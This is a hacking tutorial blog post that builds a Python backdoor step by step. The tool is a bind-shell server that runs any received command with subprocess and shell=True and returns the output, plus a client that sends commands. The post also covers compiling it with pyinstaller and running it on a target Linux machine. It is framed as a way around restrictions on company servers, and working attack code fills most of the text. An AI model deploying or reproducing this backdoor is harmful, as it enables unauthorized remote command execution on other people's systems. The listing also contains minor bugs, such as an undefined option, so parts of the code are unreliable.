How to Hack: Create a shell Backdoor in Python

by hash3liZer . 20 April 2019

How to Hack: Create a shell Backdoor in Python

Netcat has always been one of the widely accepted tools among the researchers because of it's simplicity and the way it is designed. What's more important is how we can leverage the use of this tool to execute commands on a target window. Or even better if we are able to do that on our own with python. Let's make this happen by creating a simple backdoor.

Mostly on company servers or some confidential computers, you would find certain restrictions over what you can install or what you are allowed to execute. Tools like netcat are likely to be restricted from being operated inside the computer. And that's where we can do some of the python stuff and create our own netcat backdoor.

So, this tutorial is going to be about how to create or code a simplistic backdoor in python. The basic intended function of the backdoor would be to listen or connect to a client or a server and executing command sent forth from the client to server. And most importantly, sending the output back to client.

STEP 1

At first, we will get on by setting a command line interface that will accept some of the parameters from the users and will operate accordingly. We have optparse module for this. It's simple and straightforward. You don't need to define any manual as well.

import optparse

def main( ):
parser = optparse.OptionParser()
parser.add_option( '-l', '--listen', dest='listen', default=False, action="store_true", help="Listen on the specified port!" )
parser.add_option( '-p', '--port', dest='port', default=3222, type="int", help="Port to Listen on or connect to!" )
parser.add_option( '-t', '--target', dest='target', default=None, type="string", help="Taregt hostname or ip address to connect" )
parser.add_option( '-e', '--execute', dest='execute', default=False, type="string", help="Command to execute on target window" )
(options, args) = parser.parse_args()

Now, above we created a simple parser object using the optparse library and used to get some parameters from the user. The argument dest is actually an attribute that will be created when the arguments will be parsed. For example, above, the options variable is an object with attributes listen, port, target, and execute.

So, we can get the required parameters like options.listen whose default value is False. Finally complete the command line interface, by setting up conditional block (if/else):

import sys, optparse

def main( ):
parser = optparse.OptionParser()
parser.add_option( '-l', '--listen', dest='listen', default=False, action="store_true", help="Listen on the specified port!" )
parser.add_option( '-p', '--port', dest='port', default=3222, type="int", help="Port to Listen on or connect to!" )
parser.add_option( '-t', '--target', dest='target', default=None, type="string", help="Taregt hostname or ip address to connect" )
parser.add_option( '-e', '--execute', dest='execute', default=False, type="string", help="Command to execute on target window" )
(options, args) = parser.parse_args()

if options.listen and options.port:
listen_to_client( options.target, options.port ) # Will be our function to setup a remote server
elif options.target and options.output and options.execute:
connect_to_server( options.target, options.port, options.execute )
else:
sys.exit( "[~] Error! Not All Required arguments are supplied!" )

STEP 2

Let's setup the server phase. Or in simple we are going to code the listen_to_client function. So, our motive is setup a small listening server that would accept connections from the clients and give response with the provided execution command. Since, we are going totally rogue into this, we will use the socket library.

import socket
import threading

def listen_to_client( tgt, port ):
tgt = '0.0.0.0' if not tgt else tgt # Listen to All interface in case of no target.
print "[>] Listening on %s:%d" % (tgt, port)
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( tgt, port ) )
server.listen( 5 )

while True:
(cl_socket, cl_address) = server.accept() # cl denotes to the word "Cllient"
print "[<] Received Connection From %s" % ( cl_address[0] )
t = threading.Thread( target=server_handler, args=( cl_socket, ) )
t.daemon = True
t.start()

Now, we need to setup the server_handler function which will accept the client socket and receive the execution command sent from the client. Or in simple we will just receive the data sent from the client and execute it using the subprocess module:

import socket
import threading

def server_handler( _clsocket ):
data, toadd, datalength = "", _clsocket.recv( 4096 ), 1 # Bytes to Receive at a time.
while datalength:
datalength = len( toadd )
data += toadd
if datalength < 4096:
break
toadd = _clsocket.recv( 4096 )
output = execute_command( data.rstrip( ) )
_clsocket.send( output )

And finally, create a function to execute the comamnd and print back the output:

import subprocess

def execute_command( command ):
output = subprocess.check_output( command, shell=True )
return output

STEP 3

So, we are left with the client side. Here we will connect to the listening server on another side of the network and will send the execution command. The server then will receive the output from the client socket and pass it the execute_command function which will use the subprocess module to get the final output. So, let's get coding the remaining part:

import socket

def connect_to_server( tgt, port, command ):
sclient = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sclient.connect(( tgt, port ))
command = "uname" if not command else command

sclient.send( command )
data, toadd, datalength = "", sclient.recv( 4096 ), 1
while datalength:
datalength = len( toadd )
data += toadd
if datalength < 4096:
break
toadd = sclient.recv( 4096 )
print data

Above, we created a socket to the given target connection and send the command to be executed to the server. Now, the server, it will receive the data as soon as the client will connect to it and the server will execute the command and send back the response to our client.

In connect_to_server function, we will handle the response from the server which is actually the result of the executed command. So, in simple we could say our small and dirty script is now ready to use. But before let's place it in a sequence and get it in it's final form.

STEP 4

Put together the whole independent parts that we have just created:

import optparse
import sys
import socket
import threading
import subprocess

def execute_command( command ):
output = subprocess.check_output( command, shell=True )
return output

def server_handler( _clsocket ):
data, datalength = _clsocket.recv( 4096 ), 1 # Bytes to Receive at a time.
while datalength:
toadd = _clsocket.recv( 4096 )
datalength = len( toadd )
data += toadd
if datalength < 4096:
break
output = execute_command( data.rstrip( ) )
_clsocket.send( output )

def listen_to_client( tgt, port ):
tgt = '0.0.0.0' if not tgt else tgt # Listen to All interface in case of no target.
print "[>] Listening on %s:%d" % (tgt, port)
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( tgt, port ) )
server.listen( 5 )

while True:
(cl_socket, cl_address) = server.accept() # cl denotes to the word "Cllient"
print "[<] Received Connection From %s" % ( cl_address[0] )
t = threading.Thread( target=server_handler, args=( cl_socket, ) )
t.daemon = True
t.start()

def connect_to_server( tgt, port, command ):
sclient = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
sclient.connect(( tgt, port ))
command = "uname" if not command else command

sclient.send( command )
data, datalength = sclient.recv( 4096 ), 1
while datalength:
toadd = sclient.recv( 4096 )
datalength = len( toadd )
data += toadd
if datalength < 4096:
break
print data

def main( ):
parser = optparse.OptionParser()
parser.add_option( '-l', '--listen', dest='listen', default=False, action="store_true", help="Listen on the specified port!" )
parser.add_option( '-p', '--port', dest='port', default=3222, type="int", help="Port to Listen on or connect to!" )
parser.add_option( '-t', '--target', dest='target', default=None, type="string", help="Taregt hostname or ip address to connect" )
parser.add_option( '-e', '--execute', dest='execute', default=False, type="string", help="Command to execute on target window" )
(options, args) = parser.parse_args()

if options.listen and options.port:
listen_to_client( options.target, options.port ) # Will be our function to setup a remote server
elif options.target and options.output and options.execute:
connect_to_server( options.target, options.port, options.execute )
else:
sys.exit( "[~] Error! Not All Required arguments are supplied!" )

Since, we already made most of the part of our exploit, let's make it work against linux. But before let's compile the program. We will use pyinstaller for this. Note that pyinstaller has one major drawback and that is you have to on the same operating system for which you are compiling your program.

For example, our target is a linux operating system, so we will compile the program on linux as well. Install pyinstaller:

$ pip install pyinstaller

And compile the program:

$ pyinstaller --onefile ourbackdoor.py

pyinstaller

This would create a directory by the name of dist from where you compiled the program. This directory will contain the compiled program. However, we are going to use plain python script for our task. 

STEP 5

Considering you already have access to a server or linux system, let's first setup a server on target machine. Note that either you or atleast target should be directly connected to internet. If either one you is on WAN and behind NAT, then you will have to do port forward from your router. In LAN, it's pretty simple. Setup the server on target machine:

$ python backdoor.py --listen --target [Target IP Address] --port 3222

server

And connect to the server from your machine: 

$ python backdoor.py --target [Target IP Address] --port 3222 -e "uname -r"

client

Conclusion

Netcat is swiss knife of networking and what's important so far about it is it's basic construction and working is based on sockets and sending and receiving data. This provides us with an idea of how easy it could be create a simple backdoor. We can setup a listening server and at the same time, can make a client connect to the listening server.